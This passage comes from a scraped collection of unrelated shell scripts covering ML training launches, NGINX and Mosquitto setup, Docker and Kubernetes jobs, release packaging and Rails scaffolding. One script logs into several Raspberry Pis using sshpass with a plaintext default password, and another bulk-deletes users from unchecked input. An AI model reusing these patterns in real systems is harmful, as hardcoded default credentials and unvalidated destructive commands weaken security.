id)\n\nINDEX_DATA_PREFIX=/cognitive_comp/gaoxinyu/data/WuDaoCorpus2.0_base_pretrain/wudao180G_bert_text_sentence\n#TRAIN_SAMPLES=1843200000\nTRAIN_SAMPLES=3706880\nVAL_SAMPLES=3706880\nTEST_SAMPLES=20480\nMODEL_NAME=bert-1.3B\n\nconfig_json=\"./$MODEL_NAME.ds_config.json\"\nexport MASTER_PORT=$[RANDOM%10000+40000]\n\n\n# Deepspeed figures out GAS dynamically from dynamic GBS via set_train_batch_size()\ncat <<EOT > $config_json\n{\n \"zero_optimization\": {\n \"stage\": 1\n },\n \"fp16\": {\n \"enabled\": true,\n \"loss_scale\": 0,\n \"loss_scale_window\": 1000,\n \"initial_scale_power\": 32,\n \"hysteresis\": 2,\n \"min_loss_scale\": 1\n },\n \"optimizer\": {\n \"params\": {\n \"betas\": [\n 0.9,\n 0.999\n ],\n \"eps\": 1e-08,\n \"lr\": 1e-06,\n \"weight_decay\": 0.01\n },\n \"type\": \"Adam\"\n },\n \"scheduler\": {\n \"params\": {\n \"warmup_max_lr\": 1e-06,\n \"warmup_min_lr\": 1e-06\n },\n \"type\": \"WarmupLR\"\n },\n \"flops_profiler\": {\n \"enabled\": true,\n \"profile_step\": 25,\n \"module_depth\": -1,\n \"top_modules\": 1,\n \"detailed\": true,\n \"output_file\": null\n },\n \"steps_per_print\": 100,\n \"gradient_clipping\": 1,\n \"train_micro_batch_size_per_gpu\": 8,\n \"zero_allow_untested_optimizer\": false,\n \"gradient_accumulation_steps\": 1\n}\nEOT\n\nexport PL_DEEPSPEED_CONFIG_PATH=$config_json\nexport TORCH_EXTENSIONS_DIR=/cognitive_comp/gaoxinyu/torch_extendsions\n\nDATA_ARGS=\"\\\n --data_prefix $INDEX_DATA_PREFIX \\\n --samples $TRAIN_SAMPLES $VAL_SAMPLES $TEST_SAMPLES \\\n --num_workers 30 \\\n --train_batchsize 8 \\\n --eval_batchsize 32 \\\n --test_batchsize 32 \\\n \"\n\nMODEL_ARGS=\"\\\n --model_path /cognitive_comp/gaoxinyu/pretrained_model/$MODEL_NAME/ \\\n --learning_rate 1e-6 \\\n --weight_decay 0.1 \\\n --warmup 0.001 \\\n \"\n\nMODEL_CHECKPOINT_ARGS=\"\\\n --monitor train_loss \\\n --save_top_k 3 \\\n --mode min \\\n --every_n_train_steps 10000 \\\n --save_weights_only \\\n --dirpath /cognitive_comp/gaoxinyu/ln_model/ckpt/fengshen-$MODEL_NAME \\\n --filename model-{step:02d}-{train_loss:.4f} \\\n \"\nTRAINER_ARGS=\"\\\n --gradient_clip_val 1.0 \\\n --max_epochs 1 \\\n --gpus 1 \\\n --num_nodes 1 \\\n --strategy deepspeed_stage_1 \\\n --check_val_every_n_epoch 1 \\\n --log_every_n_steps 100 \\\n --val_check_interval 80000 \\\n --default_root_dir /cognitive_comp/gaoxinyu/ln_model/fengshen-$MODEL_NAME \\\n \"\n\n\noptions=\" \\\n $DATA_ARGS \\\n $MODEL_ARGS \\\n $MODEL_CHECKPOINT_ARGS \\\n $TRAINER_ARGS \\\n \"\n\nSINGULARITY_PATH=/cognitive_comp/gaoxinyu/docker/pytorch21_06_py3_docker_image_v2.sif\nSCRIPT_PATH=/cognitive_comp/gaoxinyu/FS/fengshen/fengshen/examples/pretrain_erlangshen.py\n\nsingularity exec --nv -B /cognitive_comp/:/cognitive_comp/ $SINGULARITY_PATH python3 $SCRIPT_PATH $options\n# singularity exec --nv -B /cognitive_comp/:/cognitive_comp/ $DOCKER_PATH python3 $SCRIPT_PATH $options"} {"text": "<gh_stars>1-10\n#!/bin/sh\n# development script\n\nSESSION_NAME=plasio-js-dev\nPWD=`<PASSWORD>`\n\n# move vendor stuff to dist\nmkdir -p lib/dist\ncp lib/lib/vendor/* lib/dist/\n\ncd lib && npm install && cd ..\n\n./lib/node_modules/.bin/nf start"} {"text": "sudo apt install mosquitto\nsudo mosquitto_passwd -c /etc/mosquitto/passwd home\nsudo ln -s /storage/workspaces/media-server-setup/mosquitto/default.conf /etc/mosquitto/conf.d/default.conf\nsudo systemctl restart mosquitto.service"} {"text": "#!/bin/bash\nsshpass -p raspberry ssh pi@192.168.0.101 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.102 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.103 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.104 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.105 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.106 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.110 < raspberry_mqtt_install.sh \nsshpass -p raspberry ssh pi@192.168.0.200 < raspberry_mqtt_install.sh"} {"text": "<filename>checkPlugins.sh<gh_stars>100-1000\n#!/usr/bin/env bash\n\ncd plugins\n./gradlew test publishToMavenLocal\n\ncd ../sample-plugins\n./gradlew check refreshVersions\n\ncd ../sample-kotlin\n./gradlew check refreshVersions\n\ncd ..sample-groovy\n./gradlew check refreshVersions"} {"text": "#!/bin/bash\n#########################################################################\n# File Name: sys_Optimization.sh\n# Author: Fngje\n# mail:<EMAIL>\n# Created Time:2017/2/15 23:03:25 \n# Description:批量删除用户\n# Vierson 1.0\n#########################################################################\n. /etc/init.d/functions\t\t#inmport sys functions\n\nrootId=0\n\necho \"Welcome to use userdel scripts.\"\necho \"TIP: Must be root to run this script\"\necho \"Please Waiting...\"\nsleep 2\naction \"Loading completed.\" /bin/true\nclear\n\necho \"Checking permissions...\"\necho \"Please waitting...\"\nsleep 1\n\nif [ \"$rootId\" -eq \"$UID\" ]\n\tthen\n\t\taction \"Permissions passed.\" /bin/true\nelse\n\taction \"Permissions failed.\" /bin/false\n\texit 1\nfi\n\n\nread -p \"Input the number of users you want to delete:\" num\nread -p \"Input the format of username you defined:\" char\n\naction \"Prepare operating...\" /bin/true\nsleep 3\n\nfor((i=1;i<=$num;i++))\n\tdo\n\t\tuserdel -r $char$i\n\t\taction \"user:$char$i delete successful.\" /bin/true\ndone\naction \"All operat have done.\" /bin/true\necho \"Thank you for using...\"\nsleep 2\nexit 0"} {"text": "#!/usr/bin/env bash\n\nwhile true; do\n inotifywait -r -e modify,create,delete ./\n rsync -r -a -v -z -e \"ssh -l <<username>> -i <<key>>\" ./ <<host>>:<<path>> \\\n --exclude \".git/\" \\\n --exclude \"data/\"\ndone\n\n\n\n#Exclude Files and Directories from a List\n#When you need to exclude a large number of different files and directories,\n# you can use the rsync --exclude-from flag. To do so, create a text file with the name of the files and\n# directories you want to exclude. Then, pass the name of the file to the --exlude-from option.\n#\n#The command looks like this:\n#\n#rsync -av --exclude-from={'list.txt'} sourcedir/ destinationdir/"} {"text": "#! /bin/bash\n# /home/burgess/scripts/sccs/cofk/sh/s.reinstate_accents_selden_end.sh 1.5 2011/07/29 15:11:24\n\nSCRIPTDIR=/var/www/core/\nCSVSOURCE=/csv/\n\nfor csvfile in cofk_union_comment.csv \\\n cofk_union_institution.csv \\\n cofk_union_location.csv \\\n cofk_union_manifestation.csv \\\n cofk_union_person.csv \\\n cofk_union_work.csv\ndo\n echo \"Starting to process $csvfile\"\n csvfile=$CSVSOURCE$csvfile\n\n export COFK_CSV_FILE=$csvfile\n php -q ${SCRIPTDIR}reinstate_accents_union.php\n\n cd $CSVSOURCE\n echo \"Cleaning up old file: will move ${csvfile}_new to $csvfile...\"\n \\mv ${csvfile}_new $csvfile\n # ls -l $csvfile\n cd - \n\n echo ''\ndone"} {"text": "<reponame>zoek1/unlock\n#!/usr/bin/env bash\n\nset -ex\n# SET THE FOLLOWING VARIABLES\n# docker hub username\nUSERNAME=unlockprotocol\nIMAGE=locksmith\nREPO_ROOT=`dirname \"$0\"`/..\n\nversion=`cat ${REPO_ROOT}/locksmith/VERSION`\necho \"version: $version\"\n\n./build-locksmith.sh\ndocker tag $USERNAME/$IMAGE:latest $USERNAME/$IMAGE:$version\n# push it\ndocker push $USERNAME/$IMAGE:latest\ndocker push $USERNAME/$IMAGE:$version"} {"text": "<gh_stars>0\n#!/usr/bin/env bash\n#SBATCH -t 1-0\n#SBATCH --mem 4G\n\n###############################################################################\n# Collapse/uncollapse reads in raw/fasta format to unique sequences.\n###############################################################################\n\nusage=\"\n Collapse reads in raw/fasta format to unique sequences. Output consists of raw reads.\n\n ARGUMENTS\n -i/--input\t\tinput file\n -o/--output\t\toutput file\n -u/--uncollapse uncollapse reads \n \"\n\n# Defaults:\nuncollapse=false\n\n# Parse arguments\n\nwhile [[ $# > 0 ]]; do\n\t\n\tkey=\"$1\"\n\tcase $key in\n\t\t-i|--input)\n\t\tinput=\"$2\"\n\t\tshift\n\t\t;;\n\t\t-o|--output)\n\t\toutput=\"$2\"\n\t\tshift\n\t\t;;\n\t\t-u|--uncollapse)\n\t\tuncollapse=true\n\t\t;;\n\t\t-h|--help)\n\t\techo \"$usage\"\n\t\texit\n\t\t;;\n\tesac\n\tshift\ndone\n\n# Check input file\n\nif [[ ! -f $input ]]; then\n\techo \"ERROR: Invalid input file\"\n\texit 1\nfi\n\n###############################################################################\n###############################################################################\n\nif [[ $uncollapse = false ]]; then\n\n\t# Collapse read file\n\n\tif [[ ${input:(-3)} == \".gz\" ]]; then\n\t\t\n\t\tzgrep -v \">\" $input | sort | uniq -c | awk '{ print \">read_\" NR \"_count=\"$1\"\\n\"$2 }' > ${output}\"_temp.txt\"\n\t\tgzip -c ${output}\"_temp.txt\" > ${output}\n\t\trm ${output}\"_temp.txt\"\n\n\telse\n\n\t\tgrep -v \">\" $input | sort | uniq -c | awk '{ print \">read_\" NR \"_count=\"$1\"\\n\"$2 }' > ${output}\n\n\tfi\n\nelse\n\n\t# Uncollapse read files\n\n\techo \"$input\"\n\n\tif [[ ${input:(-3)} == \".gz\" ]]; then\n\t\t\n\t\tgunzip -c $input > ${output}\"_temp.txt\"\n\t\tinput_file=${output}\"_temp.txt\"\n\n\telse\n\n\t\tinput_file=${input}\n\tfi\n\n\tawk 'BEGIN{FS=\"_count=\"}{if(/^>/){x=$1;y=$2;z=getline}{for(i=1;i<=y;i++){print x\"_\"i\"\\n\"$z}}}' $input_file > $output\n\n\tif [[ -f ${output}\"_temp.txt\" ]]; then\n\t\trm ${output}\"_temp.txt\"\n\tfi\n\nfi"} {"text": "<reponame>collinoswalt/books\n#!/bin/sh -e\n\nmkdir -p \"$HOME/.books\"\nmkdir -p \"$HOME/.books/bookmarks\"\nmkdir -p \"$HOME/.books/config\"\nprintf \"width=70\\nheight=28\\nlibrary=$HOME/books\" > $HOME/.books/config/config.cfg"} {"text": "#!/usr/bin/env bash\n## path:\nROOT_PATH=$(dirname $BASH_SOURCE);\n\nalias dns-edit='sudo vim /etc/resolv.conf';\nalias dns-list='cat /etc/resolv.conf'\n\nunset ROOT_PATH;"} {"text": "ANALYZER_ARN=$(aws accessanalyzer list-analyzers --query \"analyzers[?status=='ACTIVE'].arn | [0]\" --output text)\nACCOUNT_ID=$(aws sts get-caller-identity --output text | cut -f1 -d$'\\t')\necho \"Access Analyzer ARN: $ANALYZER_ARN\"\n\nQUEUE_POLICY=$(cat queue-policy.json | jq -c . | sed \"s/<YOUR ACCOUNT ID>/${ACCOUNT_ID}/\") \n\nCONFIGURATIONS=$(jq -n -c --arg account_id \"$ACCOUNT_ID\" --arg queue_policy \"$QUEUE_POLICY\" '{\"arn:aws:sqs:us-east-1:\\($account_id):MyQueue\": {sqsQueue: {queuePolicy: $queue_policy}}}')\n\necho $CONFIGURATIONS | jq .\n\nACCESS_PREVIEW_ID=$(aws accessanalyzer create-access-preview --configurations $CONFIGURATIONS --analyzer-arn $ANALYZER_ARN --query id --output text)\necho \"Access Preview Created: $ACCESS_PREVIEW_ID\""} {"text": "#!/usr/bin/env bash\n\n# variables\nCONTAINER_RANK=0\nBATCH_SIZE=32\nLEARNING_RATE=0.01\nNUM_GROUPS=10\nCLIENTS_PER_GROUP=10\nSAMPLER=\"gbp-cs\"\nNUM_SYNCS=50\nNUM_ROUNDS=500\nDATASET=\"femnist\"\nMODEL=\"cnn\"\nEVAL_EVERY=1\nNUM_GPU_AVAILABLE=2\nNUM_GPU_BEGIN=0\n\n# container\nIMAGE_NAME=\"fedgs\"\nCONTAINER_NAME=\"fedgs.${CONTAINER_RANK}\"\nHOST_NAME=${CONTAINER_NAME}\nUSE_GPU=$[${NUM_GPU_BEGIN}+${CONTAINER_RANK}%${NUM_GPU_AVAILABLE}]\n\n# shellcheck disable=SC2034\nsudo docker run -dit \\\n --name ${CONTAINER_NAME} \\\n -h ${HOST_NAME} \\\n --gpus all \\\n -e MXNET_CUDNN_AUTOTUNE_DEFAULT=0 \\\n -e MXNET_ENFORCE_DETERMINISM=1 \\\n -v /etc/localtime:/etc/localtime \\\n -v /home/lizh/fedgs:/root \\\n ${IMAGE_NAME}\n\nsudo docker exec -di ${CONTAINER_NAME} bash -c \\\n \"python main.py \\\n -dataset ${DATASET} \\\n -model ${MODEL} \\\n --num-rounds ${NUM_ROUNDS} \\\n --eval-every ${EVAL_EVERY} \\\n --clients-per-group ${CLIENTS_PER_GROUP} \\\n -sampler ${SAMPLER} \\\n --batch-size ${BATCH_SIZE} \\\n --num-syncs ${NUM_SYNCS} \\\n --num-groups ${NUM_GROUPS} \\\n -lr ${LEARNING_RATE} \\\n --log-rank ${CONTAINER_RANK} \\\n -ctx ${USE_GPU}\""} {"text": "<gh_stars>0\n#!/bin/bash\n\nPROGRAM=hello\nDIRECTORY=/home/ruman/algorithm_engineering/u6/MPI_hello_world_omp\n\nmpirun -machinefile $DIRECTORY/machine_file $DIRECTORY/build/$PROGRAM"} {"text": "#!/bin/bash\n\nFMSG=\"- NGINX installation terminated\"\n\nread -p \"? This script will install NGINX on your HIAS Server. Are you ready (y/n)? \" cmsg\n\nif [ \"$cmsg\" = \"Y\" -o \"$cmsg\" = \"y\" ]; then\n echo \"- Installing NGINX\"\n sudo apt-get install nginx\n sudo cp /etc/nginx/sites-available/default /etc/nginx/sites-available/default.backup\n sudo mkdir -p /fserver/var\n sudo cp -a Root/var/www/ /fserver/var/\n sudo chown -R www-data:www-data /fserver/var/www/html\n sudo usermod -a -G www-data $USER\n echo \"\"\n read -p \"? Please provide the full domain name of your server, including subdomain: \" domain\n if [ \"$domain\" != \"\" ]; then\n sudo sed -i -- \"s/server_name _;/server_name $domain;/g\" /etc/nginx/sites-available/default\n sudo nginx -t\n sudo systemctl reload nginx\n echo \"- Installed NGINX\";\n exit 0\n else\n echo $FMSG;\n exit 1\n fi\nelse\n echo $FMSG;\n exit 1\nfi"} {"text": "#!/bin/sh\n# Originally from https://github.com/kennytm/rust-ios-android\n# https://github.com/kennytm/rust-ios-android/blob/d0b606167ba7835488d565a9c9cbfb789e61f1c9/create-ndk-standalone.sh\n\nset -e\n\nSCRIPT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nSTANDALONE_NDK_DIR=\"$SCRIPT_DIR/../NDK\"\nDEFAULT_ANDROID_NDK=\"/usr/local/share/android-ndk\"\nDEFAULT_ANDROID_SDK=\"/usr/local/share/android-sdk\"\n\nif [ -d \"$STANDALONE_NDK_DIR\" ]; then\n printf '\\033[33;1mStandalone NDK already exists... Delete the NDK folder if you want to make a new one.\\033[0m\\n\\n'\n echo \" $ rm -rf \\\"${STANDALONE_NDK_DIR}\\\"\"\n exit 0\nfi\n\n\n# Try to find NDK if it's not set\nif [ ! -d \"${ANDROID_NDK_HOME}\" ]; then\n if [ -d \"${DEFAULT_ANDROID_NDK}\" ]; then\n ANDROID_NDK_HOME=\"$DEFAULT_ANDROID_NDK\"\n echo \"ANDROID_NDK_HOME not set, using NDK found at ${DEFAULT_ANDROID_NDK}\"\n else\n if [ ! -d \"${ANDROID_SDK_ROOT}\" ]; then\n ANDROID_SDK_ROOT=\"${DEFAULT_ANDROID_SDK}\"\n fi\n if [ ! -d \"${ANDROID_HOME}\" ]; then\n ANDROID_HOME=\"$ANDROID_SDK_ROOT\"\n fi\n if [ -d \"${ANDROID_HOME}/ndk-bundle\" ]; then\n ANDROID_NDK_HOME=\"${ANDROID_HOME}/ndk-bundle\"\n fi\n fi\nfi\n\nif [ ! -d \"${ANDROID_NDK_HOME}\" ]; then\n echo \"Error: Android NDK could not be found. Please set ANDROID_NDK_HOME to a valid Android NDK.\"\n exit 1\nfi\n\n\nMAKER=\"${ANDROID_NDK_HOME}/build/tools/make_standalone_toolchain.py\"\n\nif [ -x \"$MAKER\" ]; then\n echo 'Creating standalone NDK...'\nelse\n printf '\\033[91;1mPlease install Android NDK!\\033[0m\\n\\n'\n printf ' $ sdkmanager ndk-bundle\\n\\n'\n printf \"\\033[33;1mnote\\033[0m: file \\033[34;4m$MAKER\\033[0m not found.\\n\"\n printf 'If you have installed the NDK in non-standard location, please define the \\033[1m$ANDROID_NDK_HOME\\033[0m variable.\\n'\n exit 1\nfi\n\nmkdir STANDALONE_NDK_DIR\n\ncreate_ndk() {\n echo \"($1)...\"\n \"$MAKER\" --api \"$2\" --arch \"$1\" --install-dir \"$STANDALONE_NDK_DIR/$1\"\n}\n\ncreate_ndk arm64 21\ncreate_ndk arm 18\ncreate_ndk x86 18\ncreate_ndk x86_64 21"} {"text": "<reponame>milespetrov/ramp4-pcar4\n# see the following for 'github pages <EMAIL>: Permission denied (publickey)': \n# https://docs.github.com/en/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key\n\n# after deploying: set the source branch on Settings > Github Pages to gh-pages\n\n# abort on errors\nset -e\n\n# build\nnpm run docs:build\n\n# navigate into the build output directory\ncd ./docs/.vuepress/dist\n\ngit init\ngit add .\ngit commit -m 'deploy version 1.0.0'\n\ngit push -f <EMAIL>:ramp4-pcar4/ramp4-pcar4.git master:gh-pages\n\ncd ..\nrm -rf dist || rmdir /s /q dist"} {"text": "<gh_stars>1-10\n#!/bin/bash\ncd /home/nlpserver/zzilong/kaldi/egs/supermarket-product\n. ./path.sh\n( echo '#' Running on `hostname`\n echo '#' Started at `date`\n echo -n '# '; cat <<EOF\nnnet-am-average exp/nnet4a/20.1.mdl exp/nnet4a/20.2.mdl exp/nnet4a/20.3.mdl exp/nnet4a/20.4.mdl exp/nnet4a/20.5.mdl exp/nnet4a/20.6.mdl exp/nnet4a/20.7.mdl exp/nnet4a/20.8.mdl - | nnet-am-copy --learning-rates=0.0167250206190075:0.00836251030950375:0.00836251030950375 - exp/nnet4a/20.mdl \nEOF\n) >exp/nnet4a/log/average.19.log\ntime1=`date +\"%s\"`\n ( nnet-am-average exp/nnet4a/20.1.mdl exp/nnet4a/20.2.mdl exp/nnet4a/20.3.mdl exp/nnet4a/20.4.mdl exp/nnet4a/20.5.mdl exp/nnet4a/20.6.mdl exp/nnet4a/20.7.mdl exp/nnet4a/20.8.mdl - | nnet-am-copy --learning-rates=0.0167250206190075:0.00836251030950375:0.00836251030950375 - exp/nnet4a/20.mdl ) 2>>exp/nnet4a/log/average.19.log >>exp/nnet4a/log/average.19.log\nret=$?\ntime2=`date +\"%s\"`\necho '#' Accounting: time=$(($time2-$time1)) threads=1 >>exp/nnet4a/log/average.19.log\necho '#' Finished at `date` with status $ret >>exp/nnet4a/log/average.19.log\n[ $ret -eq 137 ] && exit 100;\ntouch exp/nnet4a/q/done.2851\nexit $[$ret ? 1 : 0]\n## submitted with:\n# qsub -v PATH -cwd -S /bin/bash -j y -l arch=*64* -o exp/nnet4a/q/average.19.log -l mem_free=10G,ram_free=2G,arch=*64 /home/nlpserver/zzilong/kaldi/egs/supermarket-product/exp/nnet4a/q/average.19.sh >>exp/nnet4a/q/average.19.log 2>&1"} {"text": "<gh_stars>0\n#!/usr/bash\n\nmake clean\nexport NCCL_HOME=/nfs/scistore08/alistgrp/hramezan/nccl/build/\nmake CUDA_HOME=/mnt/nfs/clustersw/shared/cuda/10.1.243\n\n\n#cuda-gdb build/all_gather_perf --x gdb_script.sh"} {"text": "#!/bin/bash\n\n./initialize.sh\n\n\n#kubectl delete -f jenkins.yml\n\n#kubectl --namespace continuous-integration delete -f ./templates/jenkins-pod-preset.yml\n./jenkins-pod-preset-uninstall.sh\n./jenkins-credentials-secrets-uninstall.sh\n\nhelm del --purge jenkins\n\nkubectl delete namespace continuous-integration\n\n#kubectl delete -f jenkins-persistent-volume-claim.yml;\n#kubectl delete -f jenkins-persistent-volume.yml;\n\n#rm -rf /minikube/jenkins"} {"text": "#! /bin/bash\n\n# Requisites:\n# - bash\n# - jq\n# - kubectl (a recent one)\n# - flink CLI on the PATH\n\nAPPLICATION=$1\nif [ -z \"$APPLICATION\" ]; then\n echo \"No application name specified.\"\n exit 1\nfi\n\n../../common/fetch-streamlets.sh \"${APPLICATION}\" spark\n\n../../common/foreach-streamlet.sh \"${APPLICATION}\" ./generate-undeploy-cmd.sh\n\n../../common/foreach-streamlet.sh \"${APPLICATION}\" ./delete-streamlet.sh"} {"text": "<reponame>qinjidong/EasyMPlayer\n#!/bin/bash\n# will create checkouts and tarballs in the current dir\nver=1.1\ndst=MPlayer-$ver\nsvnurl=svn://svn.mplayerhq.hu/mplayer/trunk\n#svnurl=svn://svn.mplayerhq.hu/mplayer/branches/$ver\n\nrm -rf $dst/ $dst-DOCS/ $dst.tar*\n\nsvn export $svnurl $dst/\n# branches should contain a VERSION file, but\n# \"previews\" generated from trunk need it.\nif ! test -e $dst/VERSION ; then\n echo $ver > $dst/VERSION\nfi\n\n# create HTML docs\ncp -a $dst/ $dst-DOCS/\npushd $dst-DOCS/\nmkdir -p ffmpeg/libavutil\n./configure --yasm='' --language=all\nmake html-chunked\npopd\nmv $dst-DOCS/DOCS/HTML $dst/DOCS\nrm -rf $dst-DOCS/\n\n# git archive unfortunately is refused\ngit clone --depth 1 git://source.ffmpeg.org/ffmpeg.git $dst/ffmpeg\nrm -rf $dst/.git* $dst/ffmpeg/.git*\n\n# create .tar.gz and .tar.xz files\ntar --owner=0 --group=0 -cf $dst.tar $dst/\nxz -k $dst.tar\ngzip -9 $dst.tar\n\n# generate checksums/signatures\nmd5sum $dst.tar.xz > $dst.tar.xz.md5\nsha1sum $dst.tar.xz > $dst.tar.xz.sha1\nmd5sum $dst.tar.gz > $dst.tar.gz.md5\nsha1sum $dst.tar.gz > $dst.tar.gz.sha1\ngpg -a --detach-sign $dst.tar.xz\ngpg -a --detach-sign $dst.tar.gz"} {"text": "<reponame>sidharthramesh/hermes\necho \"Importing\"\ndocker-compose run hermes java -jar target/hermes-full-v0.1.0.jar -d /db/snomed.db import /db/snomed\necho \"Indexing\"\ndocker-compose run hermes java -jar target/hermes-full-v0.1.0.jar -d /db/snomed.db index\n# Optionsl compaction\necho \"Compacting\"\ndocker-compose run hermes java -jar target/hermes-full-v0.1.0.jar -d /db/snomed.db compact\necho \"Setup complete! Run docker-compose up.\""} {"text": "#!/bin/bash -v\n\nsource /home/luban/.bashrc\nsource /etc/profile\n\nsource /home/luban/miniconda3/bin/activate base\n\npython apollo.py trial --model=coco_backbone"} {"text": "<reponame>snooc/iterm2-touchbar-party<gh_stars>1-10\n#!/bin/bash\n\nI2TP_STATUS=\"${I2TP_STATUS:-true}\"\nI2TP_STATUS_PWD=\"${I2TP_STATUS_PWD:-true}\"\nI2TP_STATUS_GIT=\"${I2TP_STATUS_GIT:-true}\"\nI2TP_STATUS_KUBERNETES=\"${I2TP_STATUS_KUBERNETES:-true}\"\n\nfunction __i2tp_join() {\n local sep=\"$1\"\n shift\n echo -n \"$1\"\n shift\n printf \"%s\" \"${@/#/${sep}}\"\n}\n\nfunction __i2tp_short_pwd() {\n local pwd=\"${PWD}\"\n if [[ \"${pwd##${HOME}}\" != \"${pwd}\" ]]; then\n if [[ \"${pwd##${HOME}}\" == \"\" ]]; then\n echo -n \"~\"\n return\n fi\n pwd=\"~${pwd##${HOME}}\"\n fi\n local base_pwd=\"$(echo \"${pwd%/*}\" | sed 's/\\(\\/.\\)[^/]*/\\1/g')\"\n local curr_pwd=\"${pwd##*/}\"\n echo -n \"${base_pwd}/${curr_pwd}\"\n}\n\nfunction __i2tp_trunc_string() {\n local str_width=\"$1\"\n local str=\"$2\"\n\n if [[ \"${#str}\" -gt \"${str_width}\" ]]; then\n local sep=\"...\"\n local prefix_width=\"6\"\n local suffix_width=\"$((${#str} - ${str_width} + ${#sep} + ${prefix_width}))\"\n local prefix=\"${str:0:${prefix_width}}\"\n local suffix=\"${str:${suffix_width}:${#str}}\"\n local result=\"${prefix}${sep}${suffix}\"\n echo -n \"${result}\"\n else\n echo -n \"${str}\"\n fi\n}\n\nfunction __i2tp_print_osc() {\n if [[ $TERM == screen* ]] ; then\n printf \"\\033Ptmux;\\033\\033]\"\n else\n printf \"\\033]\"\n fi\n}\n\nfunction __i2tp_print_st() {\n if [[ $TERM == screen* ]] ; then\n printf \"\\a\\033\\\\\"\n else\n printf \"\\a\"\n fi\n}\n\nfunction __i2tp_set_kl() {\n __i2tp_print_osc\n printf \"1337;SetKeyLabel=%s=%s\" \"$1\" \"$2\"\n __i2tp_print_st\n}\n\nfunction __i2tp_pop_kl() {\n __i2tp_print_osc\n if [[ \"$#\" == 1 ]]; then\n printf \"1337;PopKeyLabels\"\n else\n printf \"1337;PopLabels=%s=%s\" \"$1\"\n fi\n __i2tp_print_st\n}\n\nfunction __i2tp_push_kl() {\n __i2tp_print_osc\n if [[ \"$#\" == 1 ]]; then\n printf \"1337;PushKeyLabels\"\n else\n printf \"1337;PushLabels=%s=%s\" \"$1\"\n fi\n __i2tp_print_st\n}\n\nfunction __i2tp_status_display() {\n local status=()\n if [[ \"${I2TP_STATUS_PWD}\" == \"true\" ]]; then\n local spwd=\"$(__i2tp_status_pwd)\"\n status+=(\"$(__i2tp_trunc_string 30 \"${spwd}\")\")\n fi\n\n if [[ \"${I2TP_STATUS_GIT}\" == \"true\" ]]; then\n local sgit=\"$(__i2tp_status_git)\"\n if [[ \"$?\" == \"0\" ]]; then\n status+=(\"$(__i2tp_trunc_string 20 \"${sgit}\")\")\n fi\n fi\n\n if [[ \"${I2TP_STATUS_KUBERNETES}\" == \"true\" ]]; then\n local skube=\"$(__i2tp_status_kube)\"\n if [[ \"$?\" == \"0\" ]]; then\n status+=(\"$(__i2tp_trunc_string 20 \"${skube}\")\")\n fi\n fi\n\n local result=\"$(__i2tp_join \"⎜\" ${status[@]})\"\n __i2tp_set_kl status \"${result}\"\n}\n\nfunction __i2tp_status_pwd() {\n echo -n \"$(__i2tp_short_pwd)\"\n}\n\nfunction __i2tp_status_git() {\n local in_git=\"$(git rev-parse --is-in-git-dir 2> /dev/null)\"\n if [[ \"in_git\" == \"false\" ]]; then\n return 1\n fi\n\n local branch=\"$(git symbolic-ref --quiet HEAD 2> /dev/null)\"\n branch=\"${branch##refs/heads/}\"\n\n echo -n \"${branch}\"\n}\n\nfunction __i2tp_status_kube() {\n local kctx=\"$(kubectl config current-context)\"\n echo -n \"${kctx}\"\n}\n\nfunction __i2tp() {\n if [[ \"${I2TP_STATUS}\" == \"true\" ]]; then\n __i2tp_status_display\n fi\n}"} {"text": "<filename>pkgs/development/libraries/qt-5/5.12/fetch.sh\nWGET_ARGS=( http://download.qt.io/official_releases/qt/5.12/5.12.9/submodules/ )"} {"text": "#!/bin/bash\n\n# Delete old dummy app\nrm -rf spec/dummy\n\n# Generate new dummy app\nDISABLE_MIGRATE=true bundle exec rake dummy:app\n\nif [ ! -d \"spec/dummy/config\" ]; then exit 1; fi\n\n# Cleanup\nrm spec/dummy/.ruby-version\nrm spec/dummy/Gemfile\n\ncd spec/dummy\n\n# Use correct Gemfile\nsed -i \"s|../Gemfile|../../../Gemfile|g\" config/boot.rb\n\n# responders for rao-service_controller\nsed -i '17irequire \"responders\"' config/application.rb\n\n## Always require rspec and factory_bot_rails in dummy app\nsed -i '17irequire \"rspec-rails\"' config/application.rb\nsed -i '17irequire \"factory_bot_rails\"' config/application.rb\n\n## I18n configuration\ntouch config/initializers/i18n.rb\necho \"Rails.application.config.i18n.available_locales = [:en, :de]\" >> config/initializers/i18n.rb\necho \"Rails.application.config.i18n.default_locale = :de\" >> config/initializers/i18n.rb\n\n## I18n routing\ntouch config/initializers/route_translator.rb\necho \"RouteTranslator.config do |config|\" >> config/initializers/route_translator.rb\necho \" config.force_locale = true\" >> config/initializers/route_translator.rb\necho \"end\" >> config/initializers/route_translator.rb\n\n# Install cmor core backend gem\nrails generate administrador:install\nrails generate cmor:core:backend:install\n\n# Install SimpleForm\nrails generate simple_form:install --bootstrap\n\n# Add DelayedJob::ActiveRecord\nsed -i '17irequire \"delayed_job_active_record\"' config/application.rb\nrails generate delayed_job:active_record\n\n# Add ActiveStorage\nrails active_storage:install\n\n# Example model for ActiveStorage specs\nrails g model Post title\nsed -i '2i\\ has_one_attached Cmor::System::Configuration.record_attachment_name' app/models/post.rb\n\nrails db:migrate db:test:prepare\n\n# Install\nCMOR_SYSTEM_ENABLE_ACTIVE_STORAGE=true CMOR_SYSTEM_ENABLE_DELAYED_JOB=true rails generate cmor:system:install"} {"text": "#!/usr/bin/env bash\n\nset -o errexit\nset -o pipefail\nset -o nounset\n\nreadonly RAPIDJSON=$(realpath ${1:-\"$(pwd)/third_party/rapidjson-f51d7c9d4b1a9313bde4a5ccf94c4af7089661a8\"})\n\nmkdir -p build && cd $_\n\ncmake .. \\\n -DCMAKE_BUILD_TYPE=Release \\\n -DCMAKE_INCLUDE_PATH=${RAPIDJSON}/include\n\ncmake --build ."} {"text": "<filename>install/installr.sh\n#!/bin/bash\n\n# installr.sh\n# Script para instalar macOS en forma desatendida desde Internet Recovery\n# Adicionalmente puede instalar paquete hecho con productbuild app Packages\n\nif [[ $EUID != 0 ]] 